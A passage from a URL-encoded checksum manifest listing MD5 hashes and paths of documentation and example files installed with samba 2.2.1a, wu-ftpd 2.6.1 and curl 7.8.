q-1.html%0A71a0ce89303463cd501d4102096da0c2%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2Fsambafaq-2.html%0A3edb62b399c6ade183adc426b3a09b17%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2Fsambafaq-3.html%0Ab3a805a67e15024108f2fe65caf7cbd7%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2Fsambafaq-4.html%0A34afe55cf22604c98f7090dfd630f5d3%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2Fsambafaq-5.html%0A89c455227dd6bfe7847756defd1f5ec3%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2Fsambafaq.html%0Aac8c1027232bb056e6f20ecb303ba7b7%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ffaq%2Fsambafaq.txt%0A68abb3fc3cdadd4fabf45df27a9d3e51%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2FDOMAIN_MEMBER.html%0A974667aa86781460d8ef7dc05d2686ad%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2FCVS-Access.html%0Aa8d7516061a32cac48db62c01efec4c3%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2FNT_Security.html%0A38e738650cd6cabbc214a3743503f12d%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2FENCRYPTION.html%0A1c300c1451a6bef84765dbca5b12cc9b%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2FPAM-Authentication-And-Samba.html%0A244dc97ed7ba93114c9e575550452b35%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2FIntegrating-with-Windows.html%0A3c6cc9c573d59cc3b57b5286bbe43394%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2FOS2-Client-HOWTO.html%0A4e1f80b6931b78cf972a110eb989ea65%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2FSamba-HOWTO-Collection.html%0A17a2dd27abf6cba62e45b467329328df%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2FSamba-PDC-HOWTO.html%0A2ca074dec0a739012e344076b47922fb%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2FUNIX_INSTALL.html%0A1faa4b8aa3571b6cfddc7cba5fc9ee94%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2Fmsdfs_setup.html%0A825e001dd34516e0c8a04ef4d8d961aa%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2Fprinter_driver2.html%0A86da7a9d154394abf601e19a239e641b%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2Fsamba-pdc-faq.html%0A11c4e28dd47b18d2777569b336571ead%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2Fsamba-pdc-howto.html%0A091553e22b491087dfc40b67f4f5b629%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2Fwfw_slip.htm%0A78c22d791695645fc23734b554d056af%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhtmldocs%2Fwinbind.html%0A744788ca3cab282556d9588ab1f54d9c%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FDHCP-Server-Configuration.txt%0A266409ceb6d142c4fc5964bb62956273%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FApplication_Serving.txt%0A139b7c6e0daa9bb58829d97ff5d4425e%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FBROWSING-Config.txt%0A01a7a1f0bd1e6d962e56f8c289be25f6%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FBROWSING.txt%0A485be5748aded567403c8558d75400d6%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FBUGS.txt%0A6f169cdfdcaaa547c25e511c0a4e529c%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FINSTALL.sambatar%0A50396e254c5db7140a0c9e7ee5df4af9%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FDIAGNOSIS.txt%0A3ee19941a602fbe8fb4ad10cb82881f4%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FDNIX.txt%0Add5d16f9ea5d81c69156a56a443fb0a4%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FFaxing.txt%0A736aeebccf3bef1b88a56c3697d3421c%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FGOTCHAS.txt%0A5c277c84a68d583d23e044e3a871fb5f%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FHINTS.txt%0Abff61c5d8a02eec6cf379d575b29105d%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FMacintosh_Clients.txt%0Aeb9df2db1b672abfb34ea10f9306a9c0%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FImprints.txt%0A95ad3238e5aaa81486f66be31007dbbf%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FPROFILES.txt%0A1772850deb0de89224d54ea746336fa8%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FNetBIOS.txt%0Ae08dc0e09f2199627b0eaedbc8059780%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FRoutedNetworks.txt%0A197046ae891d74c03717c13400899912%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FPasswords.txt%0A736ded093dd8fb3794b8afe0af310910%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FPrinting.txt%0Abbfa244e7a897b5c55ea6d9a5f1bb7db%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FREADME.DCEDFS%0Aa3c0b4881b788da822976d0d6ed5d3aa%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FREADME.jis%0Aa8c703d9233215fc15106eef06c76e22%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FREADME.sambatar%0A73a8ac0b675eb52b4f47d9ecbb2cd1db%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FRecent-FAQs.txt%0Ae91b04c9ffc407cfc6ab988e669b96cb%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FSMBTAR.notes%0A33049263344d06629437703e73876bcd%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FSCO.txt%0A38f58a977e654fd936e7f9f21354acee%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FUNIX-SMB.txt%0Af41422bf3afc7a7b8ad90de114f1b37e%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FSSLeay.txt%0Acfc71b00f26c455cf9f649346b61ac29%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FSpeed.txt%0A7fccf9b8c4c8628fa9f5c89fac345615%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FSpeed2.txt%0Acff12c93f5662b29b7bcfa9d0d0ce816%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FTracing.txt%0A6e167fb9ed78d84bc1195997d9a28e88%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2Foutdated%2FPRINTER_DRIVER.txt%0A2ecf93158e7d744ff4e7711a4f7e9991%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2Foutdated%2FNTDOMAIN.txt%0A425ee089782993e1ac840c7317044b2a%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2Foutdated%2FPROJECTS%0Af6f817ab0f25a8e890c111e5ae716e52%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FUNIX_SECURITY.txt%0A63a92383b493bd77cffe50f96c56083a%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FWin95.txt%0A8ab0873c3ee9ce3298fe14eceaf8b9f5%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2FWinNT.txt%0Aca3fbfda257945497da053f0ff9d33a6%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2Fcifsntdomain.txt%0Ac06b3bc31d339a78f8bf5b6c3e4b2635%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2Fkurs.pdf%0Ae48495d25238680eee95ffb5f4d4e5c0%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2Fkurs.tex%0A0d81129efc2939c8037b49b2b57ea033%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2Flogo.ps%0Ae89c4251079e38f306bdc8a8d47be459%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Ftextdocs%2Fsecurity_level.txt%0A3f56cb596171377ae64259d5b42b0785%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FWin2000_PlainPassword.reg%0Aa4f6f6d2d92a59fc67e2c3475ab3d3f4%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FWin95_PlainPassword.reg%0Aa4f6f6d2d92a59fc67e2c3475ab3d3f4%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FWin98_PlainPassword.reg%0A4d62b63d8644130319b109de0068ad23%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FWin9X-CacheHandling.reg%0Aa4f6f6d2d92a59fc67e2c3475ab3d3f4%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FWinME_PlainPassword.reg%0A901b16a407b3518b00071aa9fc791ad0%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2FWindowsTerminalServer.reg%0A5665a325c0801f05aee4f6f2aaed47bb%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fhistory%0A5f7a2b98d73b3e3b8e62e8bad5146cad%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fdocs%2Fsamba.lsm%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2FRead-Manifest-Now%0A1b0a0614f4a06f6d7583e36fa16b0a38%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FLDAP%2Fldapchpasswd%0A1d8b2ec74d78c310dbfcb235a0a8e111%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FLDAP%2FREADME%0A04f54428e3b84dc0075e690789fc55d0%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FLDAP%2Fexport2_smbpasswd.pl%0A79ac8a3639bffae9ca22b5a44fa5dc34%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FLDAP%2Fexport_smbpasswd.pl%0Ab8f949c17a42a9aaecb9692680d300e0%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FLDAP%2Fimport2_smbpasswd.pl%0A2bd789faf157585dc3338127582ea6f6%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FLDAP%2Fimport_smbpasswd.pl%0Aff25038f274de9d7f5c8a36c1795a4ea%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FLDAP%2Fldapsync.pl%0Ac66bce908c3fd77ca7575a80add4796a%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FLDAP%2Fsamba.schema%0A4cefc41e4eec7512ff8a7c9f1809c74c%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FVFS%2Fblock%2Fsamba-block.conf%0Ae0e34b3278535d1424b4c91170b0aa0a%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FVFS%2Fblock%2FMakefile%0A8de55cb0828ff3f7e7025ddc8897e8b9%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FVFS%2Fblock%2Fblock.c%0Ae4c5d75e6df3ec51c3391c5c7ff7ff49%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FVFS%2Fblock%2Fsmb.conf%0A87ca9f277df062aa1cfc8fcfa740fe59%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FVFS%2F.cvsignore%0A3ddc5349a0ce093eeb0a802eb2f3164d%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FVFS%2FMakefile%0A51e60e7c080946056313ae01fb4c3dbd%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FVFS%2FREADME%0A9e7cd25f45eb4b9859db879c494441d9%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FVFS%2Faudit.c%0A338b9328808fce4ddb3288ec63658fa6%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FVFS%2Fskel.c%0A26a3c52b37581eb827bc1c8289c1426d%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fmisc%2Fmodify_samba_config.pl%0A222084189c8a89b102fcbd7788d4f5c4%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fmisc%2Fextra_smbstatus%0A508b47c93ad5b2dbcf68f36eda718fa7%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fmisc%2Fwall.perl%0A7d1c15ac6f1361fefb88c70d6c17f6c1%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fmisc%2Fswat.pl%0Ae8871d1abe57c975e12aabfa676035ae%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2FREADME%0A26ae9bcac03c585bab17d5659d682ead%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fappliance%2Fappliance.spec%0A29d3d99cbc20928bca28984500d5e885%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fappliance%2FMakefile%0A054e0f3f7192f0848d86d2088674ac51%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fappliance%2FREADME%0A337382157e92de4aee69f824b5b7a571%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fappliance%2Fsmb.conf-appliance%0A4df50d7ffa9f934b7a9050bc96f518fa%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fappliance%2Fbuild.sh%0A19984f06287979f665e242162d13a567%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fautofs%2Fauto.a%0A650f3a19c06e5cf77d39fcf03cdc0368%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fdce-dfs%2Fsmb.conf%0A9a328e7afdbe5c2a5c89c979745a83ed%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fdce-dfs%2FREADME%0A9c6cced7201ea5589f1171cf0285659e%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Flibsmbclient%2Ftestsmbc.c%0A2ca5d2f524efd2bb4482a8fdb84e81ca%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Flibsmbclient%2Ftree.c%0Ad3c735279d12bc6a6c081dca0e784819%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fprinter-accounting%2Facct-all%0A1507c531bc061ef4f2cdba4cc845498f%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fprinter-accounting%2FREADME%0A662ab0fe36cf0677e322dac44c308b78%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fprinter-accounting%2Facct-sum%0Aec0dcf9af11a7ea7773cf7b861c8e56b%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fprinter-accounting%2Fhp5-redir%0A5a03d442b2e470eed8d2a9ab43005738%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fprinter-accounting%2Flp-acct%0A54c946049e6e7f8d0a7e3799377151ca%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fprinter-accounting%2Fprintcap%0A203cb7cc61c3228687eacb5e8464b87b%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fprinting%2Fsmbprint.newer%0A94453e76f5e9bf4e068c3dbf46d6e6f8%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fprinting%2Fsmbprint%0A8bc7864ed17daf3b5f257b6969e5efcc%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fprinting%2Fsmbprint.sysv%0Aac70486ef323d409a357ccec46507003%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fsimple%2Fsmb.conf%0Ac8318a2e2a18b45c5ebd4d14061042b7%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fsimple%2FREADME%0Aba34b2a05ee2dcbc89f3afa3512b23c7%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fsvr4-startup%2Fsamba.server%0Aac9dbece9b19e17fb78bef2140d302bc%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fsvr4-startup%2FREADME%0Ad2c2512389b75e8b182dcd96b7049af8%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fthoralf%2Fsmb.conf%0A73a993fbc90af7ef666365b4ce2c23ec%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fsmb.conf.default%0Ab094f4f24a477c39b5def4c06b0f8f6c%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Ftridge%2Fsmb.conf%0A386c5cce53d5d36e0d0fdfe1f61d6381%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Ftridge%2FREADME%0A83a3b647fa0822c637c5742f63630bc7%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Ftridge%2Fsmb.conf.lapland%0A83a3b647fa0822c637c5742f63630bc7%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Ftridge%2Fsmb.conf.WinNT%0Af2d69063f19d490c811e352190b5aa2b%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Ftridge%2Fsmb.conf.fjall%0Abb6e809158590f6771df52d32ecfec19%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Ftridge%2Fsmb.conf.vittjokk%0Afc5ec7bf035381a20a4e03377023539a%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fvalidchars%2Fvalidchr.com%0A09b59374ad2305fd8ad2fd9524567e01%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fvalidchars%2Fmsdos70.out%0A44748ce37ab2a3f05ff6216263b3394a%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fvalidchars%2Fnwdos70.out%0A55f5fce0b0d68312864fc89a787751c2%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fvalidchars%2Freadme%0Aa5351e790127f5074a71b715994cc155%20%20%2Fusr%2Fshare%2Fdoc%2Fsamba-2.2.1a%2Fexamples%2Fvalidchars%2Fvalidchr.c%0A3c844fd61bed138cbf0ec50b2ba5be73%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2FCONTRIBUTORS%0A384be80eef583cd7b1b3e5455d3bf84a%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2FCHANGES%0A7a9697ced1fc3a913197fdef682ee764%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2FHOWTO%2FVIRTUAL.FTP.SUPPORT%0A6be8d8acbc864937db1414c74865be43%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2FHOWTO%2FCIDR.vs.netmask%0A7d769abd4d627316309fb4431e0db68a%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2FHOWTO%2Fguest.HOWTO%0Ac337efee32b4753d7450c9f2181cb45f%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2FHOWTO%2Fupload.configuration.HOWTO%0Ad60ce6908df70ed1242c2c8b0022208a%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2FERRATA%0Ab824a42ca1ad39cf7c7cd661cb6d085c%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2FREADME%0Ad5f9d3e0a3fffe742b377ffee09bf4ae%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2FPAM%0Adc7dbb0e41ac23b0a7dc9531146d72c0%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2Fftpaccess.heavy%0A3f389ac7df3cf40e96a5567d90de0893%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2Fftpaccess%0Abeda553df8ab3c2271cd2ac7a7171e5d%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2Fftpconversions.solaris%0A3ad3d78706db43d68044f90d4989e74d%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2Fftpconversions%0A9f590a2b9c585f8498da4417ed95ecc5%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2Fftpgroups%0Ae8887731425c49bb8ba94b093399aad8%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2Fftphosts%0Ad1e1fef53400e1afd37d75c5b009d65b%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2Fftponly%0Ad4a855ac1fd1b66cef0c8935b54a8965%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2Fftpservers%0A713fa130ed221c88c435b2bde28d2c2a%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2Fftpusers%0A2b4791bbc8d5c277b5e25dc3183dad58%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2Fexamples%2Fxinetd%0Aa181bd9ffca3ad8194b12241e39a314b%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2FREADME%0Abb3b499fa3b26ed2b9fda8c369c74126%20%20%2Fusr%2Fshare%2Fdoc%2Fwu-ftpd-2.6.1%2FTODO%0A35b9bdcc02d519cdb5b419b89420389f%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FCONTRIBUTE%0A2db8fc02b18807440f33f6246b8ceece%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FBUGS%0A02d929c6e2132a17a44391eaddfce5cb%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FCHANGES%0A08d25741ab5b0237240e7d7dc1968a0f%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FFEATURES%0A4a58670668758860947443c008a392c3%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FFAQ%0Ab63d44dd9fcdb6ebc6b4f7d1ed41f56d%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FINTERNALS%0A54e86e9ce863e42f891ce732dc32bf0b%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FINSTALL%0Aa7ff40789c62576081cf37e7eb74c5f2%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FRESOURCES%0A470872c055b0aad1afe889b639a55696%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FLEGAL%0A48526ca576c34e609657da8de9167c73%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FLIBCURL%0A7114b74405acb00b4deca4ebfac07034%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FMANUAL%0Aa9ec82d9acc3cd2f240e87ab54f2d18f%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FREADME%0Ad795205465c903a5ebdc2edfbf94a5f0%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2FMakefile.example%0A34caf8676758bf41a23335ab86926045%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2FMakefile%0A6ee72d4fdadb861b7915a3aac3150d92%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2FMakefile.am%0Ae995ab8f38eb110cad1ca1b4ce6bf375%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2Fgetinmemory.c%0A639cd9c2a224c1d48b533e60876a353d%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2FMakefile.in%0A8420fb70c6e7638ecf98dce768d3aba5%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2FREADME%0A876635539b16b2f972e237fdda56b5f3%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2Fcurlgtk.c%0Aa8d4b6f7a143f6e13848d083726be35b%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2Fftpget.c%0Ad7fc082f3a1d66b9690646b3055eb40f%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2Fmultithread.c%0Ab3d8d4370a7189fd35b8179bfa7f7830%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2Fpersistant.c%0Aedda8a192473f6970b8987a3eb8c0630%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2Fpostit.c%0A4748e7635df4584be45d7e01c35a5036%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2Fsepheaders.c%0Ae270b86bdc2f62d2528a64a98d750cb2%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2Fsimple.c%0A54b659eda1b5c35f1eca5f1c01e1994b%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2Fexamples%2Fwin32sockets.c%0A58623bbd09d2c54b633aaed4f2479f41%20%20%2Fusr%2Fshare%2Fdoc%2Fcurl-7.8%2FTODO%0A51f9a0a561f67e55874b4154